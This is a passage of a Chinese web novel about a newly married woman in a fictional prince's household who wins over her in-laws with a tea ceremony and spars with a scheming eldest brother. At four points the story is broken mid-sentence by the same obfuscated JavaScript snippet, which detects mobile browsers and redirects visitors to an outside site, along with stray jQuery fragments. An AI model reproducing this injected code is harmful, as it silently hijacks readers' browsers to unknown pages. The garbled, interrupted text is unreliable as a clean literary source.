她看了祁云羡一眼,但对方却没看她。林观月便收回视线,走至蒲团旁,整理衣服端庄跪坐其上,从容接过侍女递来的建盏与茶匙。 点茶是一门手艺,在大胤是每个世家女子都要学习的技能,而林观月这些年走南闯北,点茶的技艺师从很多大家,虽称不上多么精彩绝伦,但应付一个敬茶礼,那是相当足够的。 林观月没有为了节省时间省略步骤,她初来乍到,需要给众人留下一些标志性的印象。 从第一步涤盏温器开始,林观月先取右侧麻布拭巾,由内至外细细擦拭盏壁。随后放下麻布拭巾,提起银汤瓶,将少量沸水倾入盏中,轻转茶盏润遍内壁,随即倾倒废水,将热盏放回案中原处。 她这一套动作行云流水,做起来又不失美观,众人看向她的视线便有了些许不同,其中崔令仪的变化最大,她一脸兴致勃勃,看她的眼神竟带着几分欣赏。 接下来便开始正式点茶了,林观月左手轻扶青瓷茶罐,右手取银茶匙,轻舀两勺细腻的茶末,稳稳落于盏心。 放下茶匙,拿起汤瓶微微倾斜,一线细热水缓缓注入茶末中央,水量极少,仅能浸湿茶粉。 随后,她拿起茶匙贴紧盏底,顺着环形慢慢旋搅,由中心向外圈反复揉调,将干硬茶末融成细腻无颗粒的膏泥,盏壁不留半点干粉结块,待调膏完毕,才茶匙重新归置于白瓷小碟。</ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788259|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 接下来是注汤。林观月一手扶稳盏身,一手提起银汤瓶,手臂抬高悬离盏面三寸,匀速注沸水——水流细长连贯,落点始终在茶膏中心,随注水缓缓画圈。汤分七次注入,不溅出半滴茶汤,待注至七分满便收手,将银汤瓶归于原位。 再然后,便到最关键的步骤了。王府最闹腾的四公子祁云景和二小姐祁舒灵坐不住了,一脸好奇地起身走至案几旁边,近距离观察林观月的动作。 林观月自然也察觉到了两人的到来,但她丝毫未受影响,用右手取了竹制茶筅,将筅丝完全浸入茶汤,手腕轻旋,开始分层击拂。 这一步又分为三小部,先是初拂:林观月用筅丝轻轻绕着盏底,打散茶膏与清水,上下来回搅动,直至茶汤泛起淡白细纹; 再是中拂:只见她小臂发力,快而不猛地击拂,筅面摩擦盏壁四周,环旋、点戳交替,茶汤渐渐翻涌起泡; 最后是终拂:林观月渐渐放缓力道,轻扫盏面,收匀浮散的泡沫,如此反复数十次,直至盏内生出厚厚乳白汤花,如雪堆凝在盏上,细密绵柔,盏沿无清水溢出。 这一连串动作看的祁云景是眼花缭乱,精彩绝伦。他忍不住开口:“二嫂这点茶是手艺,真乃上上品!” 林观月但笑不语,她放下茶筅,取一旁的小银汤瓶,瓶中盛清冷水——她要分茶。 众人心中同时出现这个认知。 其实林观月大可不必这么麻烦,但既然这风头都出了,那自然是出到底! 她手腕极稳,细一线清水垂落于白沫之上,借助水与茶沫深浅色差勾勒纹路,寥寥数笔,便在雪白汤花上浮出一幅浅淡山水。 “天啊!好好看啊!二嫂,你也太厉害了吧!”一直在一旁观看是二小姐忍不住开口夸赞,看着林观月的眼神满是敬佩。 “二小姐谬赞。”林观月浅笑颔首。 她双手捏住茶盏下沿,垫上茶托,举盏齐眉,起身趋至王爷座前,屈膝奉茶。 “父王,请喝茶。” 宣王抬手接过,看着盏中活灵活现的水墨丹青,也是忍不住夸赞:“你这手点茶分茶的手艺,是真的不错!可是学过画画?” 林观月含笑应答:“学过一些,算不得精通。” 宣王满意颔首,“不错。” 他是个风雅之人,对于有着这样一门手艺的林观月,自然瞬间上升了不少好感度。 林观月又将另一盏奉给王妃,道:“母妃,请喝茶。” 王妃这才看到林观月的这杯茶是何模样,但她对这些没多大感觉,只是稍稍惊讶了一下,便含笑道:“不错。” 王爷抿了一口茶,眼睛亮了一下,随后再次饮第二口。而王妃只是稍稍抿了一下,便将茶盏搁在一旁,对着林观月教导:“往后便是宣王府的人了,要谨守本分,伺候好夫君,莫要丢了王府的脸面。” “儿媳谨记母亲教诲。” 王妃微微偏过头,随即便有婢女上前,手上还端着一个托盘。 “这套和田玉缠枝莲手镯便赠与你,望你日后与云羡同心同德,夫妻恩爱。” 林观月看了一眼便一脸含笑地再次拜下,“多谢母妃,儿媳定会谨记于心。” 侍书连忙上前接过托盘,微微福身,在轻轻退了回去。 之后是奉上新媳妇亲自准备的点心,王爷王妃都只是简单尝了尝便放下,随后给二人赐座。 祁云羡率先大步坐过去坐下,姿态随意。林观月紧随其后,礼仪完美。 到了这儿,今日这场敬茶流程算是走完了,可一时半刻,二人也是走不了的。 6. 敬茶3 “之前赐婚刚下来的时候,我还寻思,这林二小姐是个怎样的人,今日一见,真真是个妙人!不但温婉淑德、知书达理,还有这么一手好茶艺……真是恭喜王妃了。” 李侧妃刚刚一直沉默旁观,此刻脸上堆满笑意,对着王妃贺道。屋内的气氛也因她这一番话而活跃了起来。 王妃听见这话,看着林观月的眼神也是满意了不少,含笑的望着她,微微颔首。王爷手中还端着那盏茶,闻言也是跟着夸赞:“确实不错。” 到此,其余想要挑错处的人就要再斟酌斟酌了。毕竟,连王爷王妃都认可了这个儿媳妇,你若是再挑毛病,这不是打王爷王妃的脸吗? 厅上一些人闻言已经变了脸色,看向她的眼神带上了一些忌惮。其中,林观月知道,必定有那位“大公子”的,可那又如何?至少这结果,她是满意的。 王妃看向祁云景,对李侧妃道:“这如今羡哥儿也娶了妻,琛哥儿和霖哥儿也早就成婚,接下来就该轮到景哥儿了。你这亲娘,也要好好替他好好看看。景哥儿年纪小不上心,你可不能也不当回事儿。” 李侧妃听了这话,一脸笑道:“这景哥儿的婚事,自然是要王爷王妃做主,我一个天天在后宅的女人,还是不掺和了。” 她全然一副甩手掌柜的模样,好似真的半点都不操心。这幅全然信任的模样也确实让王爷王妃都满意了起来,嘴角皆是笑意。 林观月脸上的表情丝毫未变,但不由多看了一眼这位李侧妃,心中赞叹:这位李侧妃可是个聪明人啊!她这番话既不僭越,又表了忠心,最重要的是,这今后祁云景的婚事,王爷王妃势必要上心些了,真可谓一举三得。果然,在这王府后宅,能安然无恙的在侧妃位置呆了这么些年,还生下一子一女的人,必定不简单。 王爷听了这话果真“哈哈”笑了起来,说:“这儿女婚事,自然要交于王妃。但你也别什么都不管,多来王妃院里转转,仔细挑挑,等你们相中了谁,我再去上门提亲。” 李侧妃一脸笑地接话,对着王妃道:“这事自然还是要仰仗王妃,但妾身也知晓,王妃日理万机,不能真让王妃因着累着,只得今后常常来琼花院走走,还望王妃莫要嫌了妾身。” 王妃听闻此话,也是笑着抬手,伸出一根手指隔空点了点她,一脸无奈道:“你个‘懒鬼’,自家哥儿的婚事,你得自己上心!这几日我让人搜集一下京都适龄姑娘画像,你自个儿来挑!” 李侧妃一脸欣喜地起身行礼道谢:“妾身在此多谢王妃,只是最后,还是要托王妃帮着掌掌眼。” 王妃一脸笑意的无奈摇头,王爷在一旁也是满脸微笑,一时之间气氛竟十分融洽。至于其他人,虽说是笑着的,但各自心里如何想就不得而知了。 林观月则是不得不再次感叹,这位李侧妃真是个聪明人! 几位长辈在这儿讨论的起兴,堂下,祁舒灵一脸揶揄地凑到祁云景身旁,说:“四哥哥,你说你能找着个怎样的嫂嫂啊?我觉着吧,你挺适合将门虎女的,毕竟一般人可管不住你。” 祁云景原本听着长辈讨论就有些不好意思,这丫头还凑上来扎心。他瞪了她一眼,咬牙切齿道:“祁舒灵,你欠打!这二哥都能找个二嫂这样温和有礼的姑娘,凭何我不行?我再混,还混的过二哥吗?” “这二哥不是圣上赐婚嘛!再说了,”祁舒灵往祁云羡夫妇那边看去,只见林观月礼仪完美却又姿态放松的坐在那儿,而一旁的祁云羡懒散地窝在椅子里,一脸无聊地翻弄着一旁的茶点,被林观月不动声色地端走后,他也没说什么,只是不情不愿地缩回去,继续寻找下一个玩具。祁舒灵于是摇摇头,补充完了后半句:“我觉着二嫂啊,不像一般世家女。” 祁云景听闻此言也朝二人那边看去,他没看到刚刚那一幕,只是觉着,二人之间挺融洽的。他说:“二嫂自然特别。” 祁舒灵转头看向他,一副愿闻其详的表情。祁云景便悠悠然补充完后半句:“特别有钱。” 毕竟,他家二嫂可是大胤第一富商——覃家的外甥女,没瞧着昨天那十里红妆?他偷偷看了一眼,全是好东西! 祁云景没什么别的爱好,就是喜欢钱! 祁舒灵听闻此话,无语地翻了个白眼。她就不该对她这贪财的四哥抱有什么期待! 二人这边嘀嘀咕咕的动静自然也引来其他人的注意。王妃率先开口询问:“景哥儿,灵姐儿,你们兄妹二人在那嘀咕什么呢?” 祁云景率先拱手行礼,“回母妃,我跟灵儿是在讨论早膳吃什么。” “是吗?”王妃的语气没什么责怪之意。 “母妃,你可别相信四哥哥的话!”祁舒灵突然插嘴,笑嘻嘻地说:“其实是父王母妃讨论起四哥哥的婚事,他害羞了!” “祁舒灵!”祁云景一脸羞红,咬牙切齿道。 但他这么一叫,更是坐实了祁舒灵的话,众人都笑了起来。 林观月看着这一幕,却莫名觉得不痛快。她扭头看向身边的人——祁云羡依旧窝在椅子里,手上抓住自己的玉佩穗子在玩,像个局外人。 分明他该是主角,如今却像个局外人,还要看着这一家人和和睦睦的……林观月心中叹了口气。 一直沉默的祁云琛此刻不知为何,也突然插嘴:“阿景,你年纪是也不小了,该考虑了。” “你大哥说得对。”王爷点头赞同,他说:“成家立业才是正事。” 李侧妃在一旁笑呵呵道:“我早就跟景哥儿提过,让他自己的婚事自己上些心,可每次一说,都嚷嚷着跑走,真是的!今日王爷也发话了,你日后可不能再搪塞我了!” “姨娘!”祁云景快要红成了一只熟虾,众人见状更是笑得不停。 “今日的主角不是二哥二嫂吗?怎么扯我身上了?!”祁云景选择祸水东引,却莫名同大哥对上了视线。祁云琛明明只是看了他一眼,却莫名让他觉得瘆得慌……可大哥不是在笑吗? 祁云景摇摇头,觉着自己肯定是想多了。 王妃听闻此话,抬头往祁云羡夫妇那边看去,只见祁云羡百无聊赖地窝在椅子里,坐没坐相的。王妃下意识蹙了蹙眉,待瞥见林观月姿态优雅地放下手中的茶,端坐在椅子上时,又舒展了几分。 “婚事的事,你当娘的多上点心。”王妃对李侧妃说。 “是,王妃。”李侧妃也是人精,知道这个话题该结束了,没再说什么。 王妃又看向林观月道:“羡哥儿媳妇儿,你刚来王府,多跟你大嫂走动走动。她如今协助我管家,今后若是有什么不懂的,你便多问她。你大嫂出身清河崔氏,规矩那是极好的,你也可跟她多学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788260|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 着些。” 祁云羡听闻这番话,毫不掩饰地翻了个大大的白眼,王妃自然也瞧见了这一幕,原本的笑脸瞬间便沉了下来。 她还没来得及呵斥,就被林观月及时打断。只见她起身轻轻福了福身子,像是什么也不知道,笑着看向崔令仪的方向道:“早就听闻大嫂的才女之名,今后能有机会跟着大嫂多学学,那真真是件再好不过的事儿了。” 林观月其实刚刚就打量过崔令仪了,此刻面对着她,刚刚的感觉更甚了。只能说她不愧出身清河崔氏,祖父又是大儒,崔令仪是个十分有诗书气质的女子。若她本来的长相能有七分,加上这身气质,便能达到九分! 林观月很难想象,这样的女子,为何会选择嫁给祁云琛呢?她不会看不清这宣王府的暗流汹涌。所以,是她对祁云琛过于相信,还是……因为爱情? 林观月心中觉得好笑。不管哪一种,她们今后,是必然要对上的。 崔令仪不知她所想,微微含笑颔首道:“弟妹过誉了,才女不敢当,但你若有不懂的,大可来青梧院找我。” 林观月心中一动,面上却未表露半分,“多谢大嫂,那我今后便叨扰了。” 崔令仪轻轻颔首。 二人都是端庄有礼之人,一时气氛十分融洽。王妃见此情景,眉头也舒展开来,微微颔首。 琛哥儿和羡哥儿关系不好,他们的媳妇若是合得来,二人的关系说不定也能缓和些。王妃心想。 而其他人见此情景,也是心思各异。 冯姨娘瞧着二人端庄有礼的模样,低头看着怀中的川哥儿,暗暗想着:到时候定然也求王爷给川哥儿寻个世家大族的女子,最好能压过这两人! 李侧妃一脸微笑看不出心思,赵姨娘拨弄者手中的佛珠,轻轻闭着眼,仿佛外界的一切事情都与她无关。至于孙姨娘,她看着这二人,又看了看自家拿着糕点吃的满嘴都是的女儿,心中只觉发愁。 若新妇都是这标准,她家灵儿不会嫁不出去吧!孙姨娘暗自发愁着。 王妃此时又开口了:“等会儿可是要进宫谢恩?” 林观月应答:“是。” “你初次进宫,万不可失了规矩,丢了宣王府颜面。”王妃叮嘱道。 不等林观月回答,王爷也开口:“多看顾些你夫君,别让他惹事。” 话音刚落,就听祁云羡毫不客气地嗤了一声,把一直笑脸的王爷都气的横眉竖眼。 “祁云羡,你给我好好坐直了!”王爷呵道。 祁云羡不为所动,“我想怎么坐就怎么坐,你管得着吗?” 林观月微微蹙眉,果然,下一秒就见王爷用力一拍桌子怒斥道:“我是你爹!你说我管得着吗?” 祁云羡不咸不淡地“哦”了一声,把王爷气的够呛,指着他的方向,气得浑身发抖,直骂:“逆子!逆子!” 祁云琛起身行礼,嘴里劝道:“父王息怒,二弟只是随性了些,他绝无不敬父王的意思!” 好家伙,这还是个绿茶? 可不等林观月感慨完,祁云羡便起身指着他怒骂:“我要你在这儿当烂好人?你想当他们的好儿子就当,别扯小爷我!” 行吧,这是个愣头青,绿茶天克愣头青。林观月心疼自己一秒。 “祁云羡!你要反了吗?!” 7. 交锋 王爷大怒,祁云羡不为所动,嘴角轻蔑一撇就又要说出什么“大逆不道”的话来。林观月眼疾手快,一把薅住他。 她偏过身子,背对着其他人,眼神威胁地看着祁云羡,咬牙切齿道:“不是说今天看我发挥吗?嗯?” 祁云羡理亏,被她这么看着眼神飘忽,色厉内荏地甩开她拉着自己的袖子,但好在最后轻哼一声没在说话。 林观月嘴角又扬起那个完美的弧度,转身对着王爷福身道:“王爷息怒。” 她福了一礼便自顾自起了身,明明其他人脸上皆是严肃亦或害怕,偏偏林观月脸上挂着笑。她说:“之前我就听说过,这二公子长得最像王爷,今日看来,确实不假!二公子不但长得像王爷,性子也像。” 此话一出,王爷黑了脸,王妃也是跟着蹙起眉,眼中带着些不满。离的近的祁云景更是“唰”的一下扭头看向她,一脸惊恐。 这二嫂莫不成是个傻的?她这话岂非说二哥混是像了王爷?!这不想活了吧! 祁云琛嘴角微微上扬些许,他垂了垂眸,遮住眼中的神色。 林观月好似没有察觉到周围的气氛,她继续笑着说:“这二公子和王爷,都是一样的嘴硬心软!” 听闻这话,王爷脸色又沉了沉,一旁看脸色祁舒宁忍不住开口打圆场,顺着她的话问:“二嫂,你这话是什么意思啊?” 祁舒宁一开口,李侧妃立马瞪了她一眼,祁舒宁缩了缩脖子,没敢看她。 林观月也没想到祁舒宁会接自己的话,多看了她一眼,随即对她笑着说:“昔日孔鲤走过庭院,孔夫子看到了,却也只问他‘学诗乎?’‘学礼乎?’,得到了‘未也’的答案,便道:‘不学诗,无以言’,‘不学礼,无以立’,全程无半句关心之语,但这难道就是不关心吗?王爷也是如此,分明是希望二公子成才,只是又碍于‘父亲’这个身份的威严,不肯顺从自己内心的真实想法,同他好好说。这不就是‘口是心非吗’?” 祁舒宁也不是蠢人,她也看出来这二嫂也不是,自然接着问她:“那二哥呢?他又如何‘口是心非了’?” 林观月到没想到这姑娘这般配合,好感度直线上升。她说:“这便更明显了!昨夜二公子说了梦话,我仔细听了听,像是在说‘爹,娘,你们在哪儿?’。我当时还心中疑惑,这二公子竟然还有如此脆弱的一面,今日看来,怕是他从来都不好意思主动亲近王爷王妃。明明心里期盼着爹娘的疼爱,却又要用叛逆来掩饰,这又不是‘口是心非’是什么?” “林观月,你胡说八道什么?!”祁云羡气急败坏道,死死瞪着她。 林观月气定神闲,只淡淡说了句:“二公子,又口是心非了。”气的祁云羡恨不得上前来捂住她的嘴。 这番话说完,王爷王妃皆是一脸沉默,王爷刚刚的怒气也消失不见,只余下怅然,王妃更是看着祁云羡一脸愧疚和心疼。 “羡哥儿……” 祁云羡垂着头,一旁的手掌死死握成拳头,关节处都有些泛白。 王妃眼中闪出些泪花,起身被秦嬷嬷扶着来到祁云羡身旁,心疼地摸了摸他的脸颊,“是娘对不起你……” 王爷也跟着长叹一声:“爹也有错,今后……爹尽量克制克制……” 祁云羡只低着头,不动作也不言语,看的夫妇二人是更难受了。 若是平时祁云羡这番姿态,只会让夫妻二人觉得他不服管教,心里对他们有怨,可今日林观月这一番话说完,他们只会觉得,祁云羡是口是心非,孩子心性,其实心里还是记挂他们的。 父母可以自己承认错误,作为孩子,却不能主动怨恨他们,否则便是不孝。 林观月看着这一幕,心中嗤笑一声。这自古以来的子女关系皆是如此,数千年不变,哪怕是来到了这个历史上没有的王朝也是这样,真真是挺可笑的。 这边融洽了,其他人就要不爽了。 祁云琛看了一眼王妃和祁云羡,眼神快速闪过一抹阴狠,随即移向林观月,忌惮地看着她。 这个女人,不能留!祁云琛下了判断。 恰好此时林观月也望了过来,二人对视一眼,竟齐齐弯了唇角。在外人眼里,就是二人打了个招呼,可祁云景的位置恰好看见了这一幕,只觉得浑身凉飕飕的。他搓了搓胳膊,决定今后离这二人远一些。 哪个他也招惹不起。 “二嫂可真是生了一张巧嘴。”说话的是一个垂髻分肖髻,身穿月灰暗纹褙子搭配石青色罗裙的女子——是三少夫人钟晚凝。 林观月判断出对方的身份后,微微颔首:“多谢三弟妹夸奖。” 钟晚凝被噎了一句,还想说什么,就见自家夫君冷冷看了自己一眼,便讪讪住了嘴,只是神情看起来还有些不服。 三少爷祁云霖一袭绿袍,起身朝她拱手行礼,看起来像是山中的隐士,“二嫂,晚凝口无遮拦,我代她向你致歉,还请二嫂不要同她一般见识。” 林观月淡笑福身还礼,“三弟客气。” 祁云霖微微颔首,随后坐回原位。林观月的目光在他身上转了一圈:这位三少爷看起来不争不抢,像是个淡泊名利的隐士。 林观月收回视线,将视线继续落在祁云羡身上。祁云羡此刻被王妃拉着,表情绷着微微垂着头,咬肌紧绷着。 她轻轻蹙了蹙眉,抬脚走上前,抬手覆在王妃的手背上,轻轻拍了拍道:“母妃,来日方长,感情也是需要磨合的。” 王妃抬眼看了一眼自己的新儿媳,长相尚可,气质清冷淡然,礼仪也无处可挑,算是还算合格,就是家世低了些。 她又看向自己的儿子,不得不说,祁云羡同王爷长得真的很像,可偏偏……王妃轻轻叹了口气。 她松开拉着祁云羡的手,转而拉着林观月的手,对她说:“羡哥儿虽然有时候混了些,但人终究还是好的,你以后多看顾这他些,别让他总做糊涂事。” 林观月自然应是,“我晓得的,母妃。” 王妃看了看他,又偏头看了看一旁沉默的祁云羡,再次叹息。他转身回到座位上坐好,对众人说:“没什么事,就各自回去吧。” 坐着的众人纷纷起身行礼,“是。”随即各自离开。 林观月看向祁云羡,问:“二公子,那我们也回去了?” 祁云羡点点头,同她一齐行礼,然后并肩离开。 琼华院门口,二人出来的时候,祁云琛夫妇也还未曾离开。 “大哥,大嫂。”林观月朝两人微微致意,祁云羡则不为所动,但几人都习以为常。 崔令仪弯了弯唇角,也对她微微颔首,“我刚刚说的都是真心话,二弟妹初来乍到,若有不懂的,尽管来寻我。” 林观月也同样挂着毫无指摘的笑,“我晓得的,大嫂心善,我还需要同大嫂多多学习。” “弟妹客气了。” 二人简单客套一番,另一边的祁云琛看向祁云羡,以一副兄长的姿态说:“二弟既然娶了妻,今后就收收心,别总让父王母妃惦记。” 林观月微微蹙眉,果不其然,祁云琛愠怒的声音就跟着响起:“你算老几?!我用得着你来管我?!” 祁云琛却笑的更加温柔了,像是一个真正宽容的兄长一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788261|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,“我只是心疼父王母妃,他们总是担心你……我知你不愿意听,但我身为兄长,还是要说的。” “你算哪门子……” “二公子!” 祁云羡抬手就像揪住祁云琛的衣领,嘴里的话还没说完,就被林观月眼疾手快拉住,打断了他接下来动作。 林观月朝身后使了个眼色,随即长喜茫然了片刻,紧接着反应过来连忙上前拉住祁云羡,嘴里念叨着:“诶呦我的二公子啊,你可千万不能跟大公子动手,不然王爷又要罚你了!” 长喜语气惊慌,仿佛十分担心祁云羡被责罚,但林观月却十分冷漠地看了他一眼,让长喜瞬间僵住。 自见到这位二少夫人到现在,对方一直都是笑盈盈的,可这一眼,长喜觉得自己好似被对方看透了一般。 他压下心中的震惊,讪讪闭上了最,不敢再多言。 林观月不知道他这些想法,仿佛只是随意一瞥,很快便收回了视线。 “大公子刚刚那话,说的有些不恰当。”林观月按下祁云羡的手,不动声色挡在他面前,对着祁云琛含笑道:“我曾经听闻,大公子博学多识,名满京城,那想必一定知晓‘骊姬之乱’的典故。” 祁云琛一张笑脸冷了下来,林观月却依旧笑意盈盈地继续说着:“这父母和子女之间哪里有隔夜的仇,就算有什么误会,坐下来好好说说也就解开了,但若是旁人插手……只怕会适得其反,大哥觉得呢?” “二弟妹这话是什么意思?!”祁云琛声音冷肃道,崔令仪也跟在旁边帮腔:“二弟妹,你这话严重了,大公子也是想缓解父王母妃和二弟的矛盾。” “我自然知晓大公子是好意,大嫂不必担心。”林观月朝她笑笑,然后又抬头看祁云琛,“但大公子毕竟身份特殊,我虽知道他是好意,但落在外人眼中,尤其是路边茶馆里的那些好事人眼中,怕是……就不是这个意思了。毕竟,这世界愚昧之人并不少,大哥觉着呢?” 林观月巧笑嫣然,毫无攻击性的外表下,说出的话却让一旁侍立的仆从都垂下了头。 祁云琛死死盯着面前的女人,一旁的手紧紧攥了起来。 “身份特殊”?特殊在何处?林观月就差指着他的鼻子说他是个鸠占鹊巢是假少爷了! 祁云琛心中恨得要死!他恨不得现在就掐死这个女人! 祁云羡也同样惊讶于林观月这番话,但随后看到祁云琛的动作,立马上前将她挡在身后,随即一脸讥笑地看着祁云琛。 祁云琛怒火中烧,却又要死死忍着,一时间憋的青筋直现。 “云琛……”崔令仪握住他的手,一脸担心地看着他。 祁云琛却轻笑了一声,他松了手,后退两步对着林观月施了一礼,再次直起身子事,又是一副翩翩公子模样。他说:“弟妹所言极是,琛今日受教了。” 他直起身子,对着林观月又说:“那阿羡,今后就拜托弟妹了,还望弟妹多多劝着些,莫总要让父王母妃担心。” 林观月从祁云羡身后露出半个身子,看着面前姿态温润有礼眼神却冷漠锋利的男人,微微垂眸避开他的视线。 “大公子言重了,我相信二公子心中一定有数的,我对他有信心。” 祁云琛不说话了,他这次才真正打量起这个新弟妹——清冷的气质长相却有着极其世俗的性格,心计深沉又巧言令色,是个威胁! “那样最好。”祁云琛转身离去,崔令仪看了看,随后对着他们微微颔首,跟着离开。 林观月看着二人的背影,眼神慢慢沉了下来。 祁云琛,比她想的要难对付。 8. 安稳 林观月收回视线,转身看向祁云羡道:“走吧,我们也回去。” 祁云羡不为所动,以一种十分复杂的眼神看着她。林观月怔了一下,随即缓缓弯了唇角问:“怎么?” “林观月,你到底想干什么?”探究的眼神直直盯着林观月,祁云羡微微蹙着眉,看起来十分不解——他看不懂林观月。 但林观月却从他是眼睛中看到了自己想要的东西——警惕和迷茫。 有警惕心又足够敏锐,但是又不够聪明。不上不下,正好。 “不如我们边走边说。”林观月转身离开,祁云羡想了想,跟了上去,这次他刻意放缓了步伐与她并肩而行。 随即侍书入画和一脸担忧的长喜跟在身后,一行人总算离开了琼华院门口。 而在另一条路的不远处,孙姨娘和二小姐祁舒灵站在拐角处,一旁的树木遮住了她们大半的身影,不至于让这边的人看到她们,同时又能看到这边发生的一切。 “挨也!灵姐儿啊!我没瞧错吧!刚刚大公子是输了吗?!”孙姨娘惊呼道,一脸不可置信地转头看向祁舒灵。 祁舒灵挽着她的胳膊,看着几人琼华院门口回答:“谁输谁赢这我也说不准,但是大哥刚刚确实是怒气冲冲地走了。” “这还不算输?!”孙姨娘双手一拍,用的那种尖细的声音反问道:“你何时见过大公子被激怒?!那平时生气的不都是二公子吗?!” 祁舒灵松开挽着孙姨娘的手,左手托着另一只手的手肘,用右手摸着自己的下巴,就像街边说书先生一般的姿态。“这么说也是,平时大哥二哥对上,吃亏的可都是二哥,今天倒像是反了过来……” “在哪学的坏习惯!小丫头片子,你不学好啊!小心以后嫁不出去!”孙姨娘一把拍下她的手,吊着眉瞪她。 祁舒灵撇撇嘴,嘟囔一句:“不嫁就不嫁……” 孙姨娘一听这话更生气了,抬肘就想打她,“又胡说八道什么?小心我打嘴!” 祁舒灵眼疾手快拦住她的胳膊,缩着脖子求饶:“错了错了!阿娘我错了!” 孙姨娘瞪了她一眼放下手,嘴里碎碎念着:“也不知道我造了什么孽,生了你这么个泼猴儿!哪家姑娘跟你一样?!” 祁舒灵抱着她的胳膊晃来晃去,软着嗓音撒娇:“阿娘,我错了嘛,你就别生气了~” 谁料孙姨娘又抬手作势打她,“又打嘴!” 祁舒灵下意识跟着缩了缩脖子,但那只手半路拐了方向,最后伸出一根食指点像她的额头,没好气道:“说了多少次,在外面叫我姨娘!” “这不是没人吗……”祁舒灵不服气地小声反驳,知道看见孙姨娘又要抬手,连忙按下她的胳膊乖乖认错:“知道了知道了,姨娘我错了,下次一定记住。诶呀~我们刚刚不是大哥二哥的事吗?昂?”祁舒灵快速转移了话题。 孙姨娘无奈看着她摇了摇头,但也放过了她,顺着祁舒灵的话继续想到刚刚的事,“啧啧”两下看着祁舒灵问:“你刚刚说的很对,平时都是二公子吃亏,今日你觉着,是谁吃了亏?” 祁舒灵不假思索便道:“这还用说?二哥没吃亏,那自然就是大哥吃了亏!” 孙姨娘跟着点点头,认同了她的说法。“你说的没错。”她微微眯了眯眼睛,意味深长道:“这二少夫人刚来就能让大公子吃亏,可见不是个一般人。” “我也觉着,二嫂一看就不是一般人。”祁舒灵点头认同,她语气直白,“但这不好吗?!有了二嫂,二哥以后就不会再经常被打了吧!” 孙姨娘意外地看了一眼自家的“泼猴儿”,“我也是奇怪,这二公子也没对你多好吧?怎么你似乎更喜欢二公子而不是大公子?” 祁舒灵虽然从未在人前与祁云羡有何交集,但身为她的亲娘,孙姨娘很清楚,自家闺女更喜欢这个“顽劣”的二公子,而不是众人眼里“事事完美”的大公子,对此,孙姨娘一直不明白,难道血缘关系就这么强大? “这有什么不明白的?二哥才是我们宣王府名正言顺的继承人,可大哥呢?他只是一个……” “要死了!”祁舒灵的话还没说完就被孙姨娘一脸惊慌地打断,她看了看四周,只有一直在自己身边伺候的春杏和祁舒灵身边的小丫头福儿了。 这让她稍稍松了一口气,可尽管如此,她也拉着祁舒灵走远了几步,低声骂道:“顽女!这些话谁教你的!以后不许说了!” 祁舒灵不太服气,但也知道孙姨娘这是为自己好,便也压低了声音小声反驳:“我又没说错,反正这王府的一切,包括世子之位就该是二哥的!哪怕是给三哥四哥或者小五也轮不到一个外人!” 孙姨娘被她气得不行,伸出手揪住她耳朵骂道:“要反了!姨娘的话也不听了?!” “疼疼疼!姨娘我错了,我不说了,你快快松开!”祁舒灵感觉五折自己的二所求饶。 孙姨娘松了手,恨铁不成钢地看着她,祁舒灵就捂着自己的耳朵揉,虽然不说话了,但任谁看表情也是不服气。 孙姨娘长叹了一口气,表情有些悲伤地对着祁舒灵道:“灵姐儿啊,你娘我没什么出息,出身不好给不了你什么助力,当个妾室连让你一声‘娘’都不敢叫,肚子又不争气,没给你生个兄弟相互照应……是娘对不起你。” “娘……”祁舒灵慌乱地握着她的手,“你别这么说……” 孙姨娘拍了拍她的手背安抚,继续说:“灵姐儿,娘这辈子没什么大的愿望,就希望你安安稳稳地长大,再找个好夫家,安稳地过完一生。这王府最后落到谁手里跟我没关系,那是王爷该去考虑的东西,总之也落不到我们娘俩手里!灵姐儿,你是个姑娘家,又没有个亲兄弟,日后出嫁了,少不了要靠你这几个哥哥,你不能现在就把人给得罪了,明白不?” 祁舒灵低着头不说话,她的脸紧紧绷着,表情看起来很不服,但是又找不到什么反驳的理由。</ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 